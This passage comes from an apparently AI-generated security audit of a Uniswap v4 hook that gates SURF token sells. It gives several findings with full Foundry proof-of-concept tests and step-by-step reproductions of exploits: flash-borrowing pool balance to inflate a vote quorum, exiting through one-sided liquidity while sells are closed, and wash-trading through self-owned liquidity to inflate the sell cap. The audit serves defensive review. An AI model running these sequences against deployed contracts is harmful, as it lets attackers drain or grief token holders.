keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_flashTakeInflatesTheQuorumAndBlocksAnHonestMajority() public {\n        // The quorum the rules promise: 5% of the tokens outside the manager.\n        uint256 circulating = token.totalSupply() - token.balanceOf(address(manager));\n        uint256 promisedQuorum = circulating * hook.QUORUM_BPS() / hook.BPS();\n        assertLt(promisedQuorum, 6_000_000 ether, \"sanity: ~100M circulating, so a ~5M quorum\");\n\n        // Attacker: 1 wei of stake and a single transaction.\n        FlashVoter attacker = new FlashVoter(IPoolManager(address(manager)), hook, token);\n        token.transfer(address(attacker), 1);\n        attacker.stake(1);\n        attacker.attack();\n\n        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);\n        assertTrue(hasVotes);\n        emit log_named_uint(\"promised quorum\", promisedQuorum);\n        emit log_named_uint(\"snapshotted quorum\", quorum);\n\n        // An honest holder stakes more than the promised quorum and votes yes: majority and quorum both met.\n        uint256 honestStake = promisedQuorum + 1 ether;\n        token.transfer(honest, honestStake);\n        vm.startPrank(honest);\n        token.approve(address(hook), honestStake);\n        hook.deposit(honestStake);\n        hook.vote(true);\n        vm.stopPrank();\n\n        (uint256 yes, uint256 no,,,,) = hook.records(0);\n        assertGt(yes, no, \"majority is met\");\n        assertGe(yes + no, promisedQuorum, \"5% of the circulating supply is met\");\n\n        // Expected: the vote passed and tomorrow opens with a sell window.\n        assertTrue(hook.votePassed(0), \"a yes vote above 5% of circulating supply must pass\");\n        vm.warp(hook.dayStart(1));\n        assertTrue(hook.sellWindowOpen(), \"the window must open on day 1\");\n    }\n}","reproduction":"State: SurfToken (1e27 supply), BuyGateHook bound to the ETH/SURF 3000/60 pool, 900,000,000 SURF seeded as a tokens-only position below the price (as the launch seeds), ~100,000,000 SURF circulating, day 0. Promised quorum = 5% of circulating ~= 5,134,790 SURF. Attacker: contract with 1 wei deposited via deposit(1). Calls manager.unlock(''); in unlockCallback: manager.take(SURF, self, token.balanceOf(manager)) [~897M], hook.vote(false), manager.sync(SURF), token.transfer(manager, same), manager.settle(). Result: records(0).quorum == 50,000,000e18 (5% of total supply) instead of ~5,134,790e18. Then an honest holder deposits promisedQuorum + 1 ether and calls vote(true): yes > no and yes + no >= promised quorum. Expected (README rules): votePassed(0) == true and sellWindowOpen() == true at dayStart(1). Actual: votePassed(0) == false, sellWindowOpen() == false; every sell on day 1 reverts SellsClosed. Scratch test test/scratch/QuorumFlashGrief.t.sol fails on the current code with 'a yes vote above 5% of circulating supply must pass' and logs promised quorum 5134790973015985144641244 vs snapshotted quorum 50000000000000000000000000.","severity":"medium","snippet":"    function circulatingSupply() public view returns (uint256) {\n        if (genesis == 0) revert NotBound();\n        return token.totalSupply() - token.balanceOf(address(poolManager));\n    }","title":"Quorum snapshot reads the PoolManager's live SURF balance, which any unlock caller can empty with take() for the duration of a vote; a 1-wei staker inflates the day's quorum to 5% of total supply at g"},{"citation":"resolved","description":"Access-control asymmetry between the two paths that move SURF into the pool in exchange for ETH. beforeSwap() (src/BuyGateHook.sol:203-219) refuses every token-paying swap unless a voted window is open and caps it at half of yesterday's buys. modifyLiquidity on the same pool is not hooked at all (getHookPermissions leaves beforeAddLiquidity/beforeRemoveLiquidity false), and PoolManager lets anyone add and remove positions. Because ETH is currency0, a range below the current price is made entirely of SURF, and every buy (zeroForOne) walks the price downward into it, converting the position's SURF into the buyer's ETH. So any holder can: add a SURF-only position just under the price, wait for (or front-run) ordinary buys, and remove the position to collect ETH. The hook sees no sell: records[day].sold stays 0, sellWindowOpen() stays false, the vote and the 50% allowance are never consulted. The exit is unbounded in size, available from day 0, and favours whoever parks closest to the price. README.md ('Liquidity providers are not swappers') records this as a limitation on the assumption that 'the launch factory is the liquidity provider', but nothing enforces that assumption, and the brief's first rule is 'can buys only'. The judge and author should decide whether the rule is meant to bind; if it is, the minimal fix is to enable beforeAddLiquidity and refuse adds from any sender other than the one that initialized the pool (the `sender` argument beforeInitialize already receives, recorded at binding), or any add after the initialization transaction. Tradeoff: this also blocks well-meaning outside LPs, which is exactly the point of 'buys only'; it does not affect the factory's seeding, removal of its own position, or swaps.","line":161,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev A holder converts SURF into ETH through the launch pool while sells are closed, by parking the SURF\n/// as a one-sided liquidity position just above the price and withdrawing it after a buyer walks through it.\ncontract LiquidityExitTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest launchLp;\n    PoolKey key;\n\n    address holder = makeAddr(\"holder\");\n    address buyer = makeAddr(\"buyer\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        launchLp = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Launch liquidity: full range, 10,000 ETH / 10,000 SURF at 1:1.\n        vm.deal(address(this), 100_000 ether);\n        token.approve(address(launchLp), type(uint256).max);\n        launchLp.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_holderSellsThroughALiquidityPositionWhileSellsAreClosed() public {\n        // The holder owns 1,000 SURF (bought earlier) and no ETH. No vote has ever passed.\n        token.transfer(holder, 1_000 ether);\n        assertEq(holder.balance, 0);\n        assertFalse(hook.sellWindowOpen());\n\n        // Step 1: the holder parks the SURF as a one-sided position just below the current price\n        // (ticks -120..-60 at a 1:1 start). No ETH is needed for a range below the price.\n        PoolModifyLiquidityTest holderLp = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n        vm.startPrank(holder);\n        token.approve(address(holderLp), type(uint256).max);\n        (bool added, bytes memory why) = address(holderLp).call(\n            abi.encodeWithSignature(\n                \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                key,\n                ModifyLiquidityParams(-120, -60, 300_000 ether, bytes32(0)),\n                \"\"\n            )\n        );\n        vm.stopPrank();\n        if (!added) {\n            emit log_bytes(why);\n            // A hook that refuses outside liquidity closes this exit; nothing more to check.\n            return;\n        }\n        uint256 parked = 1_000 ether - token.balanceOf(holder);\n        assertGt(parked, 0, \"the position took SURF from the holder\");\n\n        // Step 2: an ordinary buyer buys with ETH. Buys always pass; the price walks down through the\n        // holder's range and the buyer's ETH lands in the holder's position.\n        vm.deal(buyer, 100 ether);\n        vm.prank(buyer);\n        swapRouter.swap{value: 100 ether}(\n            key, SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n\n        // Step 3: the holder withdraws the position and receives ETH.\n        vm.prank(holder);\n        holderLp.modifyLiquidity(key, ModifyLiquidityParams(-120, -60, -300_000 ether, bytes32(0)), \"\");\n\n        (,,,,, uint256 soldDay0) = hook.records(0);\n        assertEq(soldDay0, 0, \"the hook saw no sell\");\n        assertFalse(hook.sellWindowOpen(), \"sells were closed throughout\");\n        emit log_named_uint(\"SURF the holder gave up\", 1_000 ether - token.balanceOf(holder));\n        emit log_named_uint(\"ETH the holder received\", holder.balance);\n\n        // Expected under \"buys only\": a holder cannot turn SURF into ETH through this pool while sells\n        // are closed. Actual: the holder is paid in ETH for SURF with no vote and no 50% cap.\n        assertEq(holder.balance, 0, \"holder converted SURF to ETH with sells closed\");\n    }\n}","reproduction":"State: pool bound, full-range launch liquidity 10,000 ETH / 10,000 SURF at 1:1, day 0, no vote ever cast (sellWindowOpen() == false). Holder owns 1,000 SURF and 0 ETH. (1) Holder adds liquidity ticks [-120, -60], liquidityDelta 300,000e18, through any router (PoolModifyLiquidityTest in the proof): accepted, ~904 SURF leave the holder, no ETH needed. (2) An unrelated buyer swaps 100 ETH exact-in (zeroForOne): passes as a buy, price crosses the holder's range. (3) Holder removes the same position: receives 67.61 ETH and the unsold SURF back; net the holder gave up 66.99 SURF and received 67.61 ETH. Hook state: records(0).sold == 0, sellWindowOpen() == false throughout. Expected under 'buys only': a holder cannot turn SURF into ETH through this pool while sells are closed. Actual: paid in ETH with no vote and no cap. Scratch test test/scratch/LiquidityExit.t.sol fails on current code with 'holder converted SURF to ETH with sells closed: 67612313753435218680 != 0'; it passes if the hook refuses the outside position.","severity":"medium","snippet":"            beforeAddLiquidity: false,\n            afterAddLiquidity: false,\n            beforeRemoveLiquidity: false,","title":"'Buys only' is enforced on swaps but liquidity operations are ungated: a holder exits SURF to ETH through a one-sided position below the price, with no vote and no 50% cap"},{"citation":"resolved","description":"Access-control note, not a code defect under the platform's stated deployment: beforeInitialize() checks fee, tick spacing and that currency0 is native ETH, then adopts key.currency1 as `token` and sets genesis. PoolManager.initialize is permissionless and the hook address is predictable (CREATE2 salt mined for flags 0x20C0), so if the hook ever had code before the launch pool is initialized, anyone could initialize {ETH, X, 3000, 60, hook} first for an arbitrary token X; the hook would then be bound to X forever and the real launch pool's initialize would revert AlreadyBound, and deposit()/vote() would operate on X. The reference states the factory deploys the hook and initializes the pool in one transaction, which closes the window; the hook cannot pin the token in its constructor because the manifest only substitutes $poolManager. Recorded so the judge can confirm the single-transaction guarantee holds for this launch; no change needed if it does.","line":192,"path":"src/BuyGateHook.sol","reproduction":"Precondition: hook deployed in transaction N, launch pool not yet initialized. Attacker in transaction N+1: deploy EvilToken, call poolManager.initialize(PoolKey{currency0: address(0), currency1: EvilToken, fee: 3000, tickSpacing: 60, hooks: hook}, sqrtPrice). Hook accepts: token == EvilToken, genesis set. Factory's later initialize with currency1 == SURF reverts WrappedError(hook, beforeInitialize, AlreadyBound(), HookCallFailed()). Expected: the hook governs only the SURF pool. Not reachable when deployment and initialization share one transaction, as the platform specifies.","severity":"info","snippet":"        token = IERC20(Currency.unwrap(key.currency1));","title":"beforeInitialize binds the hook to whichever ETH/3000/60 pool is initialized first, with any currency1; safe only because the factory deploys and initializes in one transaction"}],"hash":"85a0fd15a242ea93ea2730c3b8484026c6efbf6ddfa58f18d6b6d447effbddfb","nodeId":"cfa732d0-c461-4cc2-b7b5-da85a297110c","outcome":"completed","summary":"The findings file is written and valid. It is excluded from git by the repository's own `.git/info/exclude`, which is the harness's arrangement for collecting it, so no tracked file changed and the review stays read-only.\n\n## Recap\n\nI audited `BuyGateHook` and `SurfToken` against the Access Control, Trust Gap and Asymmetry guides, built the project, ran the existing 47 tests (all pass), and wrote `.imd-findings.json` with three findings and twelve coverage rows.\n\n**Findings**\n\n1. **Medium, quorum snapshot is flash-manipulable.** The day's quorum is 5% of `totalSupply - balanceOf(PoolManager)`, read live at the first vote. Anyone inside a PoolManager `unlock` can `take` the manager's whole SURF balance, call `vote`, and pay it back, with 1 wei of stake and no capital. The proof seeds 900M SURF in the pool and shows the quorum jump from about 5.1M to 50M, after which an honest majority above the promised quorum fails to open the window. Repeatable every day for gas.\n2. **Medium, \"buys only\" bypassed through liquidity positions.** Swaps are gated but `modifyLiquidity` is not hooked. A holder parks SURF as a one-sided range just below the price, an ordinary buyer walks through it, and the holder removes the position for ETH. The proof shows 67 SURF converted to 67.6 ETH with sells closed and the hook's sold counter at zero. The README documents this as a limitation, so I flagged it for the author to decide whether the rule is meant to bind.\n3. **Info, initialization binding.** `beforeInitialize` adopts any `currency1`, so the hook is safe only because the factory deploys and initializes in one transaction, which the platform guarantees. Recorded as a trust assumption with the front-run sequence.\n\n**Coverage**: every listed entry point has a row. `vote` and `beforeInitialize` point at findings; `afterSwap`, `beforeSwap`, `deposit`, `withdraw` and the three token functions hold after tracing guards, state changes and failure paths. I confirmed in v4-core that every pool using this hook must pass `beforeInitialize`, so the missing pool-id check in the swap callbacks is unreachable. Both proof tests live under `test/scratch/` and fail on the current code for the stated reasons.","treeHash":null,"usage":{"cachedInputTokens":2054210,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":43235,"runtime":"claude","turns":31,"wallClockMs":594816}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ca080fd306399669","findings":[{"citation":"resolved","description":"The hook gates swaps only. getHookPermissions() leaves beforeAddLiquidity and beforeRemoveLiquidity off, so PoolManager.modifyLiquidity on the governed pool is open to anyone. Because ETH is currency0, a range at or below the current tick is funded with SURF only. A holder mints such a position, every ordinary buy (zeroForOne, always allowed by beforeSwap) walks the price down through it and converts the position's SURF into the buyer's ETH at the position's price plus the 0.3% LP fee, and the holder then burns the position and receives ETH. The hook sees no sell: records[day].sold stays 0, sellWindowOpen() stays false, the vote and the allowance are never consulted. Economically this is a resting limit sell order on a pool whose first rule is 'can buys only', available from day 0, to any holder, in any size, and it also takes fills ahead of the launch liquidity. README 'What the hook cannot do' says 'the launch factory is the liquidity provider', but nothing enforces that assumption. Reported by all four areas (write_foundry_tests medium, audit_flow medium, audit_economics high, audit_permissions medium) and merged here; recalibrated to high because the brief's primary rule is defeated unconditionally and the brief lists no LP exception. Fix that keeps the design: enable beforeAddLiquidity (flags 0x20C0 -> 0x28C0, launch.json permissions updated), record the sender passed to beforeInitialize (or the first add in the initialization transaction) as the launch liquidity provider and refuse adds from any other sender; alternatively, if LP positions are meant to be out of scope, say so in the brief so the rule is explicit. A fix here also closes finding 2.","line":161,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A SURF holder exits to ETH on day 0, with sells closed and no vote, by parking SURF as a\n/// single-sided position just below the price (a limit sell order) and removing it after a buyer crosses it.\ncontract LpExitBypassTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address holder = makeAddr(\"holder\");\n    address buyer = makeAddr(\"buyer\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        token.approve(address(lpRouter), type(uint256).max);\n        vm.deal(address(this), 100_000 ether);\n        lpRouter.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n\n        token.transfer(holder, 1_000 ether);\n        vm.deal(buyer, 10_000 ether);\n        vm.prank(holder);\n        token.approve(address(lpRouter), type(uint256).max);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_holderSellsThroughASingleSidedPositionWhileSellsAreClosed() public {\n        assertFalse(hook.sellWindowOpen());\n        uint256 holderEthBefore = holder.balance;\n        uint256 holderSurfBefore = token.balanceOf(holder);\n\n        // Holder parks 1,000 SURF in [-60, 0): a SURF-only limit order just below the price.\n        // (A fix that refuses third-party liquidity makes this revert; the final assertion then holds.)\n        bool added;\n        vm.prank(holder);\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n        if (added) {\n            assertLt(token.balanceOf(holder), holderSurfBefore, \"position took SURF\");\n            assertEq(holder.balance, holderEthBefore, \"and no ETH\");\n        }\n\n        // A buyer buys enough to cross that range.\n        vm.prank(buyer);\n        swapRouter.swap{value: 2_000 ether}(\n            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n\n        // Holder removes the position and walks away with ETH, with sells closed.\n        if (added) {\n            vm.prank(holder);\n            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), \"\");\n        }\n\n        emit log_named_uint(\"holder SURF after\", token.balanceOf(holder));\n        emit log_named_uint(\"holder ETH gained\", holder.balance - holderEthBefore);\n\n        assertFalse(hook.sellWindowOpen(), \"still no sell window\");\n        assertEq(holder.balance, holderEthBefore, \"holder must not be able to turn SURF into ETH while sells are closed\");\n    }\n}","reproduction":"State: pool initialized at 1:1 (tick 0) with full-range launch liquidity 10,000e18 (about 10,000 ETH / 10,000 SURF); day 0, no vote ever cast, hook.sellWindowOpen() == false; holder owns 1,000 SURF and 0 ETH. (1) holder -> PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower:-60, tickUpper:0, liquidityDelta:333_000e18, salt:0}): accepted, ~997.5 SURF leave the holder, no ETH needed. (2) buyer -> PoolSwapTest.swap{value: 2000 ether}(key, {zeroForOne:true, amountSpecified:-1200e18, sqrtPriceLimitX96: MIN_SQRT_PRICE+1}): passes as a buy. (3) holder -> modifyLiquidity(key, {-60, 0, -333_000e18}). Expected under the brief: the holder cannot turn SURF into ETH through this pool while sells are closed. Actual (forge test --offline --match-path test/scratch/LpExitBypass.t.sol): holder ETH gained = 1,003,460,283,744,294,125,149 wei (~1,003.46 ETH), holder SURF after = 2.55 SURF, hook.sellWindowOpen() == false, records(0).sold == 0. The test fails with 'holder must not be able to turn SURF into ETH while sells are closed: 1003460283744294125149 != 0' and passes once the hook refuses the outside position (the add is wrapped in try/catch).","severity":"high","snippet":"            beforeAddLiquidity: false,","title":"Liquidity add/remove is ungated: any SURF holder sells SURF for ETH through a single-sided position below the price, with no vote, no window and no 50% cap"},{"citation":"resolved","description":"afterSwap adds the full delta.amount1() of every zeroForOne swap to records[day].bought, and sellAllowance(day+1) is half of that. The PoolManager hands the hook that amount regardless of whose liquidity filled the swap, and liquidity provision is ungated (finding 1). An attacker adds a dense SURF-only position one tick-spacing below the current price ([-60, 0) at tick 0), buys through it with ETH with a price limit at tick -60, and removes the position in the same transaction: the ETH comes back with the position, the SURF comes back to the attacker, and only the launch liquidity's sliver in that range (~30 SURF at 10,000e18 full-range liquidity) was a real purchase. Repeating the cycle makes bought unbounded. Once any day's vote passes (the attacker's own stake, or the community's), the one-hour window lets anyone market-sell far more than 50% of the real buys into the launch liquidity's ETH, which voids the brief's third rule, the guarantee that protects the pool's ETH side from a dump. Reported by audit_flow (high) and audit_math (high) and merged here. Distinct from finding 1 because it breaks the sell cap for ordinary swap sells inside a voted window, and because it has its own fix: restrict liquidity adds to the launch provider (closes both), or derive the allowance from a quantity a position owner cannot fabricate.","line":238,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice Finding: `records[day].bought` counts every swap output, including a buy routed through the\n/// buyer's own single-sided liquidity. An attacker adds SURF-only liquidity just below the price, buys it\n/// back from themselves, removes the position and ends with the same SURF and ETH, while the hook\n/// recorded a huge \"buy\". The next day's sell allowance (50% of \"bought\") is then far above 50% of the\n/// SURF that actually left the pool, and the attacker sells into it.\ncontract BoughtInflationTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address attacker = makeAddr(\"attacker\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // The launch's liquidity: full range, ~10,000 ETH and ~10,000 SURF at 1:1.\n        token.approve(address(lpRouter), type(uint256).max);\n        vm.deal(address(this), 100_000 ether);\n        lpRouter.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n\n        // The attacker holds 1,000,000 SURF (bought earlier or allocated) and some ETH for gas/working capital.\n        token.transfer(attacker, 1_000_000 ether);\n        vm.deal(attacker, 2_000_000 ether);\n        vm.startPrank(attacker);\n        token.approve(address(lpRouter), type(uint256).max);\n        token.approve(address(swapRouter), type(uint256).max);\n        token.approve(address(hook), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_selfLiquidityWashInflatesBoughtAndTheSellAllowance() public {\n        uint256 managerSurfBefore = token.balanceOf(address(manager));\n        uint256 attackerSurfBefore = token.balanceOf(attacker);\n        uint256 attackerEthBefore = attacker.balance;\n\n        vm.startPrank(attacker);\n\n        // 1. SURF-only position one tick-spacing below the current price (tick 0): [-60, 0).\n        //    Liquidity 3.3e26 holds ~1,000,000 SURF and no ETH in that range.\n        //    (A fix that refuses third-party liquidity makes this step revert; the assertions below still hold.)\n        bool added;\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n\n        // 2. Buy ~1,000,000 SURF. Almost all of it comes out of the attacker's own position.\n        uint256 washOut;\n        {\n            BalanceDelta delta = swapRouter.swap{value: 1_100_000 ether}(\n                key,\n                SwapParams(true, -1_050_000 ether, TickMath.getSqrtPriceAtTick(-60)),\n                PoolSwapTest.TestSettings(false, false),\n                \"\"\n            );\n            washOut = uint256(int256(delta.amount1()));\n        }\n\n        // 3. Remove the position: the ETH paid in step 2 comes straight back.\n        if (added) {\n            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000_000 ether, bytes32(0)), \"\");\n        }\n        vm.stopPrank();\n\n        uint256 netSurfOutOfPool = managerSurfBefore - token.balanceOf(address(manager));\n        (,,,, uint256 bought,) = hook.records(0);\n\n        emit log_named_uint(\"recorded bought (day 0)\", bought);\n        emit log_named_uint(\"SURF that actually left the pool\", netSurfOutOfPool);\n        emit log_named_uint(\"attacker SURF delta\", token.balanceOf(attacker) - attackerSurfBefore);\n        emit log_named_uint(\"attacker ETH spent\", attackerEthBefore - attacker.balance);\n\n        // The rule: tomorrow's allowance is 50% of what was bought from the pool today.\n        // Here the hook will let far more than 50% of the SURF that left the pool be sold.\n        assertLe(\n            hook.sellAllowance(1),\n            netSurfOutOfPool / 2 + 1,\n            \"day-1 sell allowance exceeds 50% of the SURF that actually left the pool on day 0\"\n        );\n    }\n}","reproduction":"State: pool initialized at 1:1 (tick 0) with full-range liquidity 10,000e18; attacker holds 1,000,000 SURF and ~1.1M ETH of working capital (returned at step 3). Day 0, no genuine buys. (1) attacker -> PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower:-60, tickUpper:0, liquidityDelta:333_000_000e18, salt:0}): position holds ~1,000,000 SURF and 0 ETH. (2) attacker -> PoolSwapTest.swap{value: 1_100_000 ether}(key, {zeroForOne:true, amountSpecified:-1_050_000e18, sqrtPriceLimitX96: getSqrtPriceAtTick(-60)}). (3) attacker -> modifyLiquidity(key, {-60, 0, -333_000_000e18}). Observed (forge test --offline --match-path test/scratch/BoughtInflation.t.sol -vv): recorded bought(day 0) = 997,483,153,867,849,160,054,945; SURF that actually left the PoolManager = 29,953,549,559,107,809,375 (~30 SURF); attacker SURF delta +29.95 SURF for 30.13 ETH spent (a fair 30-SURF buy from launch liquidity). sellAllowance(1) = 498,741,576,933,924,580,027,472 (~498,741 SURF). Expected: sellAllowance(1) <= 50% of SURF that left the pool on day 0 (~15 SURF). Actual: ~498,741 SURF, about 33,000x larger. The test fails with 'day-1 sell allowance exceeds 50% of the SURF that actually left the pool on day 0: 498741576933924580027472 > 14976774779553904688' and passes once the hook refuses the outside position (the add is wrapped in try/catch). audit_math's variant with one genuine 100 ETH buy and a 2,000-SURF attacker gives the same shape: allowance 631.77 SURF against 49.36 intended, and a sell of the entire genuine buy volume (98.72 SURF, twice the cap) then passes beforeSwap and afterSwap on day 1.","severity":"high","snippet":"                records[day].bought += amount;","title":"afterSwap counts SURF swapped out of the buyer's own liquidity as 'bought': a self-liquidity wash raises records[day].bought, and therefore the next day's sell cap, to any value at almost no cost"},{"citation":"resolved","description":"vote() snapshots record.quorum at the day's first vote as circulatingSupply() * 500 / 10000 (lines 293-297), and circulatingSupply() is token.totalSupply() 